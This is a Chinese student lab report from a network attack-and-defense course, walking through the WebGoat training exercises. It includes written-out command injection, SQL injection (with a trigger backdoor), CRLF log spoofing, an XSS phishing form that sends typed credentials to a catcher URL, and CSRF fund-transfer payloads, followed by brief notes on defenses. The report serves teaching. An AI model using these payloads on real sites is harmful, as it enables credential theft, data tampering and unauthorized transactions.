2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础,第1张

概述2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础 实践内容 SQL注入攻击 命令注入(Command Injection) 数字型SQL注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) 字符串型注入(String SQL Injection) LAB: SQL Injection 数据库后门(Database Backdoo 2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础 实践内容 sql注入攻击 命令注入(Command Injection) 数字型sql注入(Numeric sql Injection) 日志欺骗(Log Spoofing) 字符串型注入(String sql Injection) LAB: sql Injection 数据库后门(Database Backdoors) XSS攻击 Phishing with XSS Stored XSS Attacks Reflected XSS Attacks CSRF攻击 Cross Site Request Forgery CSRF Prompt By-Pass 实践过程 WebGoat安装

WebGoat是Owasp组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。

先把jar包下载到虚拟机中,在包的目录下使用指令java -jar webgoat-container-7.0.1-war-exec.jar进行WebGoat的安装。安装成功如下:

之后在浏览器输入localhost:8080/WebGoat可进入WebGoat界面,使用默认用户名密码即可登录。

sql注入攻击 1.命令注入(Command Injection) 可以查看到相关端口的信息

选择Command Injection选项卡。

右击页面选择网页源代码,添加一句"& netstat -an & ipconfig"

点击vIEw查看结果,可以查看到相关端口的信息:

未注入则会返回Returncode 0

数字型sql注入(Numeric sql Injection)

选择Numeric sql Injection选项卡。

查看网页源代码。对源代码value="101"进行修改,在(城市编号101)后面添加or 1=1

修改完成后点击Go,即可查看到天气状况:

日志欺骗(Log Spoofing) 可以显示admin账户成功登陆。

在Log Spoofing选项卡的User name一栏中输入webgoat%0d%0aLogin Succeeded for username: admin,其中%0d和%0a为回车和换行符。

点击login,显示出了结果,下方提示语句多了webgoat Login Succeed的字样。

字符串型注入(String sql Injection) 可以基于查询语句构造自己的sql 注入字符串将所有xyk信息显示出来。

选择String sql Injection选项卡,输入查询用户名Smith‘ or 1=1--
,因为‘提前闭合了",1=1为永真式,再使用--注释掉后面的内容,所以成功查询了数据库内的内容,select数据库中的内容。

LAB: sql Injection 可以绕过认证

如果在密码框直接输入‘ or 1=1 --会被限制输入长度

故在网页源代码中将长度限制修改。

再使用永真式‘ or 1=1 --即可登录成功

数据库后门(Database Backdoors)

输入用户ID:101可以查看到用户的信息。

接着输入101; update employee set salary=10000可以更改数据库中的数据。

设置触发器
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userID = NEW.userID
成功创建后门

XSS攻击 Phishing with XSS 实现钓鱼工具或向某些官方页面中增加内容。

在页面的搜索框中输入

<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" ID="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>

会发现页面上多了一个表单:

我们再加入一段传递参数的代码,组合之后如下:

<script> function Hack() { alert("Had this been a real attack... Your credentials were just stolen. User name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" ID="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="Hack()"> </form><br><br><HR>

在搜索框中输入该代码后,点击登录后用户名和密码会在d窗中反馈给我们。

Stored XSS Attacks 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

在Message中输入<script>alert("20165204 attack succeed!");</script>,提交后可以看到刚刚创建的帖子。点击20165204可以显示攻击成功d窗。

Reflected XSS Attacks 恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

Enter your three digit access code:中输入<script>alert("I am ironman");</script>

点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息.

CSRF攻击 @H_421_301@Cross Site Request Forgery

查看页面右下方Parameters中的src和menu值,我的分别为309和900。

我们在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" wIDth="1" height="1" />以图片的的形式将URL放进Message框,这时的URL对用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击submit提交,即转走的受害人的金额

输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

查看页面右下方的Parameters中的src和menu值,我的分别为331和900,并输入任意的Title,message框中输入代码.

<iframe src="attack?Screen=331&menu=900&transferFunds=5000"> </iframe> <iframe> src="attack?Screen=331&menu=900&transferFunds=CONFIRM"> </iframe>

点击submit,生成以Title命名的链接,点击链接攻击成功

实验结论 基础问题回答 1.sql注入攻击原理,如何防御

sql通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是sql语法里的一些组合,通过执行SQL语句进而执行攻击者所要的 *** 作。

具体防御时可以可以在输入框内限制特殊字符,限制输入长度来达到目的。或者对数据库权限进行限制。

2.XSS攻击的原理,如何防御

XSS:跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意HTML标签或者JavaScript代码,当用户浏览该页或者进行某些 *** 作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的 *** 作或者向其它网站提交用户的私密信息。

防御方法也是限制特殊字符、还有对表单内容进行过滤等。

3、CSRF攻击原理,如何防御

全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。算是XSS攻击中的一种。

防御方法:

伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。 使用验证码。 实验总结与体会

本次实验环境类似于之前使用的实验楼,在虚拟环境中实现一个又一个题目。现在也算理解为什么那么多字符不可以使用。如果是自己编的网站可能随随便便就被黑穿了。

总结

以上是内存溢出为你收集整理的2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础全部内容,希望文章能够帮你解决2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/web/1076014.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-26
下一篇 2022-05-26

发表评论

登录后才能评论

评论列表(0条)

保存